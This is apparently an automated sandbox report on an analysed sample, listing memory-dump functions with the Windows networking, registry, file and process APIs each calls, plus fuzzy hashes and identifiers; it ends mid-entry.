Opcode Fuzzy Hash: 410879ed972655d6b14a7ba8fa212c72524a844bce663f9a67fdaf613dfcd22c
Instruction Fuzzy Hash: A231A0764083806FE7228B25CD45FA3BFB8EF06310F0884DBE9859B263D264A548C771

Uniqueness

Uniqueness Score: -1.00%

Function 0542288C, Relevance: 1.6, APIs: 1, Instructions: 87fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 0542293E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 3142bf1a8e117be847f89ebdccaa8ce97f4f5e3e29bebbf3deda7914c6fe3511
Instruction ID: 40ef53a6d2604233dfaea29bcd7ee2d3409d78110da4776abacd593eeca9ecd9
Opcode Fuzzy Hash: 3142bf1a8e117be847f89ebdccaa8ce97f4f5e3e29bebbf3deda7914c6fe3511
Instruction Fuzzy Hash: 4031C4B2404780AFE722CF59DC45F96FFF8FF06320F04859AE9849B262D365A549CB61

Uniqueness

Uniqueness Score: -1.00%

Function 05423297, Relevance: 1.6, APIs: 1, Instructions: 87networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542333E

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 1412163fffb789dfada1214f187e547b1dc1472dd4766366ec0e0e2c1fc388e5
Instruction ID: f0e83436d16f02474670aa68f194ced0252ed40dbd9356a9c193aed299f25eab
Opcode Fuzzy Hash: 1412163fffb789dfada1214f187e547b1dc1472dd4766366ec0e0e2c1fc388e5
Instruction Fuzzy Hash: D831D1714093846FE7138B25CD55FA6BFB8EF07320F0884DBE9849B153D224A508CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B298, Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0B32C

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: dcd6e60e3cf1ab8410a7bb9b062129731bc640ee962b5d7daa6c3dff5e922505
Instruction ID: 0ca7a5106aae0cb067caa44d64462bfe05d492f5131ab47053e856243a7184b8
Opcode Fuzzy Hash: dcd6e60e3cf1ab8410a7bb9b062129731bc640ee962b5d7daa6c3dff5e922505
Instruction Fuzzy Hash: 6A21D6725093806FEB12CB24DD45BA6BFB8EF43324F1885DAE984DF193D224A945C771

Uniqueness

Uniqueness Score: -1.00%

Function 049DED38, Relevance: 1.6, APIs: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 049DEDD8

Memory Dump Source

Source File: 00000001.00000002.547000618.00000000049D0000.00000040.00000001.sdmp, Offset: 049D0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 82cbec99a951fb1f99da44ab6295dcd9b11f82b980645336b75b5dc26558c828
Instruction ID: 690763a2e43197b77a76e0934a353357fbed3419b891a0d3bc7f51f8e019e86c
Opcode Fuzzy Hash: 82cbec99a951fb1f99da44ab6295dcd9b11f82b980645336b75b5dc26558c828
Instruction Fuzzy Hash: 9F31B030A00749DFDB05DFB4D859BADBBB2FF86300F1585A9D402AB255DB399886CB50

Uniqueness

Uniqueness Score: -1.00%

Function 05422B41, Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(?,?), ref: 05422BE1

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 4bc83738d6d047ca324187e508109408d0bb0a10a8417866629581b32c9bc1cb
Instruction ID: 71db9cfb55f51f6342d5b4b82cf25c9bb45d3677daf3db3842f8ca5fb2ddb704
Opcode Fuzzy Hash: 4bc83738d6d047ca324187e508109408d0bb0a10a8417866629581b32c9bc1cb
Instruction Fuzzy Hash: 333184B5509384AFE722CF25CD85F56FFA8EF05210F08859AE984CB252D365E944CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B385, Relevance: 1.6, APIs: 1, Instructions: 85windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNELBASE(?,00000E80,?,?), ref: 00C0B432

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 83601543db4e185c7ef421727fb3bd6b0f5c9e70ebc44fbbabe08a85c1ec4dc8
Instruction ID: 2d8a302fe0620280ab46dcd40089809eb8009139ecd1abbadedea95c7ee23492
Opcode Fuzzy Hash: 83601543db4e185c7ef421727fb3bd6b0f5c9e70ebc44fbbabe08a85c1ec4dc8
Instruction Fuzzy Hash: E4318D7154E3C46FD7138B258C55A66BFB4EF87610F0980CBD9848F2A3E625A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 05422F16, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E80), ref: 05422FBB

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 059c1ccb9b6ebdf921e85b235f9d8deb940e5e8e33327e7c45d94df0e96f2a2b
Instruction ID: 673256617a6bfe6854e93eb35f88c6ababbec4852ba2b012d5cddf64ab9f4ce7
Opcode Fuzzy Hash: 059c1ccb9b6ebdf921e85b235f9d8deb940e5e8e33327e7c45d94df0e96f2a2b
Instruction Fuzzy Hash: 2421D371500204AFFB21DF58CD85FAAFBACEF04310F10895AEE499B181D6B5A5488BB1

Uniqueness

Uniqueness Score: -1.00%

Function 05423C88, Relevance: 1.6, APIs: 1, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05423D24

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 747d1ece635e5747015978de6540bd54bd8b18faf115b86b2749faf319e980a3
Instruction ID: 8b19c1bec3a133b21b8cb0a79420f7ec64d8713db0babe38953b61c19fa9eb2d
Opcode Fuzzy Hash: 747d1ece635e5747015978de6540bd54bd8b18faf115b86b2749faf319e980a3
Instruction Fuzzy Hash: 272181711093806FD7228F55DD45FA3BFB8EF46610F0888DBE985DB252D224E848CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05423B86, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E80), ref: 05423C1A

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 6ea8c58ba204659539594300e04d8b58fa40ba661f6755c6195729fbef6f1a91
Instruction ID: 64654426a065ca6a6d443d61222aece8cef6216cd70bed25cc1931d994fba5cd
Opcode Fuzzy Hash: 6ea8c58ba204659539594300e04d8b58fa40ba661f6755c6195729fbef6f1a91
Instruction Fuzzy Hash: A621D3B2504384AFE7228F25DD49F67FFBCEF45710F08889AED849B252D224A508CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B78D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0B81E

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: f70e48d8e415b9e860818ed52248a715e0d750badc4f59f0158d4f44dae4ea95
Instruction ID: 82e525607da38a7e97c7a2db09a8894435e6b951e621bfdc2f8216d44b9040e3
Opcode Fuzzy Hash: f70e48d8e415b9e860818ed52248a715e0d750badc4f59f0158d4f44dae4ea95
Instruction Fuzzy Hash: 9B21E7715053806FE722CF25CD45F66BFACEF42320F0884AAE944DB1A2D364E948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B884, Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExW.KERNEL32(?,00000E80,?,?), ref: 00C0B92A

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 0e388c55de1f254db1d80c8dbb981cc4ae49608367ef39073ea97de0a73ac8e9
Instruction ID: 93dd8994bec086b391f52cda66e2730218eeacd87c274d2e3d351c5dc2324295
Opcode Fuzzy Hash: 0e388c55de1f254db1d80c8dbb981cc4ae49608367ef39073ea97de0a73ac8e9
Instruction Fuzzy Hash: F921AD714093C0AFD312CB65CC55B66BFB4EF87610F0984DBD8888B1A3D625A909CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 05422D1C, Relevance: 1.6, APIs: 1, Instructions: 79timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05422DA5

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: ae934c91ed8a0d66aad7d0eae9a89be191d196a6131f55361eb1b03b52379486
Instruction ID: 746b92ed0d0de99d7cb057ef972bcb7725be9ef3b5961324f5c1bad35a44b932
Opcode Fuzzy Hash: ae934c91ed8a0d66aad7d0eae9a89be191d196a6131f55361eb1b03b52379486
Instruction Fuzzy Hash: 1C21C471509380AFEB22CF24DD45FA7BFB8EF46310F08849AED859B152D275A449CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 05423686, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 05423718

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 29b1f18818cafe6c9f483f1c5a0636f1100cca7438bcb42f6889f2ca2b898579
Instruction ID: 17f5a7b541693882f80e92ea02b2a776ef192a492093c6b9921973e7194db9fd
Opcode Fuzzy Hash: 29b1f18818cafe6c9f483f1c5a0636f1100cca7438bcb42f6889f2ca2b898579
Instruction Fuzzy Hash: BA215AB540E3C05FDB138B359C55A92BFB4EF07214B0E84DBD8C48F1A3D229A949DB62

Uniqueness

Uniqueness Score: -1.00%

Function 054227AA, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 05422835

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 61c45c5c6ccde5669e5c755dbd67c36726cedf0482739708e515c2b7debbb99c
Instruction ID: 008f1796f04740dbb249c0e64fada09b5e73dd7ee16141e90357e5c49752af6e
Opcode Fuzzy Hash: 61c45c5c6ccde5669e5c755dbd67c36726cedf0482739708e515c2b7debbb99c
Instruction Fuzzy Hash: 7621D671509380AFE721CF25CC45F66FFA8EF45210F08859EE9859B252D375E508C771

Uniqueness

Uniqueness Score: -1.00%

Function 05423AB4, Relevance: 1.6, APIs: 1, Instructions: 78registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.KERNELBASE(?,00000E80,?,?), ref: 05423B5A

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: 15e76af065852f86dc82e1df44418f2ce0a2fed0fe45eab50ff1def1951b3a72
Instruction ID: 8c37aa5643ad7de1901179e15583c270faf84d23445695b2103fabd94d924872
Opcode Fuzzy Hash: 15e76af065852f86dc82e1df44418f2ce0a2fed0fe45eab50ff1def1951b3a72
Instruction Fuzzy Hash: 7621716550E3C06FC3138B358C55A11BFB4EF87610F1D81DFD8848B5A3D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0542261A, Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000E80), ref: 0542268B

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: dca4ea6e68bf015c056c042f4adb27c80ce09eba5de34cdc417f1a61c22875b4
Instruction ID: 28de57cb92f0bc0d7e0b5e50446e04d24a5cd058f731383ea8d60563c9252a05
Opcode Fuzzy Hash: dca4ea6e68bf015c056c042f4adb27c80ce09eba5de34cdc417f1a61c22875b4
Instruction Fuzzy Hash: 6921D476504214AFEB21DF29DD89FABBB9CEF04320F04C46AED45DB241D664E8088B71

Uniqueness

Uniqueness Score: -1.00%

Function 05421CC2, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 05421D41

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a171568a7a5545174f2786df66f2ac497b67bf62768821b26c3b19b240b2d9d7
Instruction ID: 6cee6b7d5d190e10f6e5d7e9e4ae886bb0a6cf5546da502b3afa2e0a66ba687c
Opcode Fuzzy Hash: a171568a7a5545174f2786df66f2ac497b67bf62768821b26c3b19b240b2d9d7
Instruction Fuzzy Hash: 4021AE71504644AFE721DF69DD85BA6FBE8FF04320F04846AE9898B252D331F408CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B5EC, Relevance: 1.6, APIs: 1, Instructions: 76registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E80,?,?), ref: 00C0B686

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b920ab3e414fdeb0aa96e087c513db78535be90017871c8ae9f5de1de32b391e
Instruction ID: 4316a6ff32cb34350dc929f5ffd068b4fc06cb331aa62bd7c8aa8a2bf96b1be8
Opcode Fuzzy Hash: b920ab3e414fdeb0aa96e087c513db78535be90017871c8ae9f5de1de32b391e
Instruction Fuzzy Hash: 1821F5754093C06FD3138B25CC51B62BFB4EF87A20F0A81CBE8848B653D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 054230C6, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542314F

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 52729ea199dc8efccf58cd8452646aae817242cbe7fc0233ed685af59b242225
Instruction ID: 13eb1c6f463d0789a14ed453b8cd48ab700571379c595d8d70a0df0b65bfba6b
Opcode Fuzzy Hash: 52729ea199dc8efccf58cd8452646aae817242cbe7fc0233ed685af59b242225
Instruction Fuzzy Hash: 2A21A1714093846FE7128F659D85FA6BFB8EF46310F0884DBE9889F152D264A508C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A986, Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E80), ref: 00C0AA05

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c787726f0adf54da362501db42f04cc5bdf493b2ad69925b998d47dbb5706636
Instruction ID: fd7c13c890a96c33c01803cb99cd47f5f2036a8249d73b71c68765993cabe2c9
Opcode Fuzzy Hash: c787726f0adf54da362501db42f04cc5bdf493b2ad69925b998d47dbb5706636
Instruction Fuzzy Hash: 5821A472500304AFE721DF59CD45F6BFBACEF04710F14855AED459B282D664E548CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 05423388, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542341D

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 0e601a69c80739afd7140d07e664c1d49de8c21b21c1ec15220de3ad96a065d6
Instruction ID: 9b4e19ea9149c3d1f1d8d0988663f043e502d018b2ac29b039c64982e4d23386
Opcode Fuzzy Hash: 0e601a69c80739afd7140d07e664c1d49de8c21b21c1ec15220de3ad96a065d6
Instruction Fuzzy Hash: 5821C4714083806FE7228B15DC45FA6BFB8EF06314F0984DAE9845B153D265A508CB72

Uniqueness

Uniqueness Score: -1.00%

Function 05423BA6, Relevance: 1.6, APIs: 1, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,00000E80), ref: 05423C1A

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 580c78a2b15c149d32b5e2d6eb4c8b539b3980ca61bb7caeff918d86615394fe
Instruction ID: 42629bbe12e1747ecb454741b0673441fed5193c2072162386e1c225ffa16bce
Opcode Fuzzy Hash: 580c78a2b15c149d32b5e2d6eb4c8b539b3980ca61bb7caeff918d86615394fe
Instruction Fuzzy Hash: 0921F672500314AFEB21DF19DD49FA7FBBCEF44710F14885AED489B241D234A5048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B6B2, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0B72E

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 2c5be4aa4406804ed9af190c3c733bee2536e8d142d0a4dde174fe4332d7675c
Instruction ID: 21e1aecaffdf7586ab09d403a98bb5f2e17f7b341bfe592d055fb4c9bb82aff3
Opcode Fuzzy Hash: 2c5be4aa4406804ed9af190c3c733bee2536e8d142d0a4dde174fe4332d7675c
Instruction Fuzzy Hash: 0F21D471509380AFE722CF65DD45F67BFACEF46320F0884AAE984DB152D264A948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05422B6E, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE(?,?), ref: 05422BE1

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 4ab7a31e677adfc358a9b9543cb7b6502159f11be8d8e13b4202e4d4fa45ecc1
Instruction ID: b2f1913db8172a94d8e1035f826313969c2e97254d4c0e0adf7dc024d364e2be
Opcode Fuzzy Hash: 4ab7a31e677adfc358a9b9543cb7b6502159f11be8d8e13b4202e4d4fa45ecc1
Instruction Fuzzy Hash: C621CF75504254AFE721DF2ACD89BA6FBE8EF04320F0484AAED49CB342D6B5E544CB71

Uniqueness

Uniqueness Score: -1.00%

Function 054231D2, Relevance: 1.6, APIs: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 0542324D

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: 4d99d75d45a6ca25e5d70f927e4d1d5960e760cd49e488e67927effc89eead38
Instruction ID: fac4a0bd43f5411f9ba37086fa8289d94853d85bf719fb39082c73e395d18fc4
Opcode Fuzzy Hash: 4d99d75d45a6ca25e5d70f927e4d1d5960e760cd49e488e67927effc89eead38
Instruction Fuzzy Hash: F6216A71504214AFEB21CF55DD89FA6BBE8EF04710F0489AAED499B251D634E408CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AD6B, Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 00C0ADE6

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 1b20ef4a0e6e35e4bd543d404388a6329b11e8cf9349ba5c6f6a2912416894ef
Instruction ID: 4f571774ea8a9fb440b4bfa0886252ef4c1e6089c33bfc10d1e8a2d67fc7066d
Opcode Fuzzy Hash: 1b20ef4a0e6e35e4bd543d404388a6329b11e8cf9349ba5c6f6a2912416894ef
Instruction Fuzzy Hash: 122192725093C05FD712CF65DC85B92BFA8EF12320F0984EAE984CB2A3D224D908C762

Uniqueness

Uniqueness Score: -1.00%

Function 05421F4A, Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05421FC9

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: b8fc6fc8866c73cfa3d06154bad087ad25c0a833f2d1a39aa118755720179816
Instruction ID: bdd2fef81f8484196a6fa4d95148ceacf48d050e073192b09797c9231edca036
Opcode Fuzzy Hash: b8fc6fc8866c73cfa3d06154bad087ad25c0a833f2d1a39aa118755720179816
Instruction Fuzzy Hash: 2B21D771409380AFE722CF55DD45FA7BFB8EF45310F04849AE9459B152C264A508CB72

Uniqueness

Uniqueness Score: -1.00%

Function 05421DA8, Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05421E2D

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: c1fcdbaea12f339c66c38eb6f409fc1db4f2246186db4cf99acba4a04692021a
Instruction ID: f96650bb9b7b3640dff80b444cc719aafdd0b7c0b3615511ee9b4f1becd8b201
Opcode Fuzzy Hash: c1fcdbaea12f339c66c38eb6f409fc1db4f2246186db4cf99acba4a04692021a
Instruction Fuzzy Hash: DD21C3714083806FE7128B259D55FA3BFA8EF46620F0881DAED859B253D264A808C771

Uniqueness

Uniqueness Score: -1.00%

Function 0542345A, Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 054234DE

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: 4e7eb8b7b4b24f618efde7f13350b486e38cc3d1c126b797d16fc6258cfd2adc
Instruction ID: 1f1aa5bfb529bba12b0a11319a0c8d6f38e6d9ae9a690deb63cb042d7ab6e3e8
Opcode Fuzzy Hash: 4e7eb8b7b4b24f618efde7f13350b486e38cc3d1c126b797d16fc6258cfd2adc
Instruction Fuzzy Hash: 522192754093C09FDB22CF65DC44A92BFB4FF06210F0985DED9898B163D275A848DB61

Uniqueness

Uniqueness Score: -1.00%

Function 05423CB2, Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05423D24

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c303caa25d7fd79fda63af080cb479396694357e158f8ef3cd18db552cd80660
Instruction ID: 6c56b2f7d4922d0812b61d9bbccb4d6b574ceac245ba5fa05599749f8fc2f72c
Opcode Fuzzy Hash: c303caa25d7fd79fda63af080cb479396694357e158f8ef3cd18db552cd80660
Instruction Fuzzy Hash: 3121AE71504214AFEB21CF55DD85FA7BBA8EF44710F1488AAED499B242D274E408CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0AA8E, Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 00C0AB08

Memory Dump Source

Source File: 00000001.00000002.545424071.0000000000C0A000.00000040.00000001.sdmp, Offset: 00C0A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ff26271865870a9b6ec10cbf79d92cb8645b6ce3acef57c990128056e096681f
Instruction ID: 5e38e22a770133b092c75c599c3edcdc2aa1839d41f3248452c8625bf654a400
Opcode Fuzzy Hash: ff26271865870a9b6ec10cbf79d92cb8645b6ce3acef57c990128056e096681f
Instruction Fuzzy Hash: 8B215E71600304AFEB21CE15CE85FA7FBECEF04710F14856AED499B292D660E948DA72

Uniqueness

Uniqueness Score: -1.00%

Function 054227CA, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 05422835

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 93ea7a281d781a46544695c5bce2ac6d3ce2d27cde8c8ad0d83fcf23146b29cd
Instruction ID: be9b23e12bcc0119a22a204eaff0005a6b2ea4f30089bfaa4dd7113c915ea254
Opcode Fuzzy Hash: 93ea7a281d781a46544695c5bce2ac6d3ce2d27cde8c8ad0d83fcf23146b29cd
Instruction Fuzzy Hash: 5F21F375504240AFE721CF29CD45BA6FBD8EF04320F0485AEED459B642D7B5E404CB72

Uniqueness

Uniqueness Score: -1.00%

Function 05422387, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 05422404

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 93ddcd165aef7853727741055b75b1ecccb742421017ec4c4f09dc7bd86323b7
Instruction ID: 8e50b2f51c5ffe34c92adada6d21768c7c3a4f225f377ecfe5c66399996159e1
Opcode Fuzzy Hash: 93ddcd165aef7853727741055b75b1ecccb742421017ec4c4f09dc7bd86323b7
Instruction Fuzzy Hash: FB219D724093C09FDB228F65DC44A92FFB4EF47320F1985DAE9888F163C225A849DB61

Uniqueness

Uniqueness Score: -1.00%

Function 054220BF, Relevance: 1.6, APIs: 1, Instructions: 68networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E80,1A973796,00000000,00000000,00000000,00000000), ref: 05422140

Memory Dump Source

Source File: 00000001.00000002.547319883.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: b2c9d27fc4e270d0d69fc235e7235a812a20cabbec839c8e9ebf59698d8d3879
Instruction ID: abace05ab50e59b896e68f52aa91d9ed69c8fa64ec3887a75c870c6e8ef69ef3
Opcode Fuzzy Hash: b2c9d27fc4e270d0d69fc235e7235a812a20cabbec839c8e9ebf59698d8d3879
Instruction Fuzzy Hash: A921D5714083806FE7128B15CD45FA6FFB8EF46320F0885DAED849B153C264A548CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B050, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 00C0B0BC

Memory Dump Source

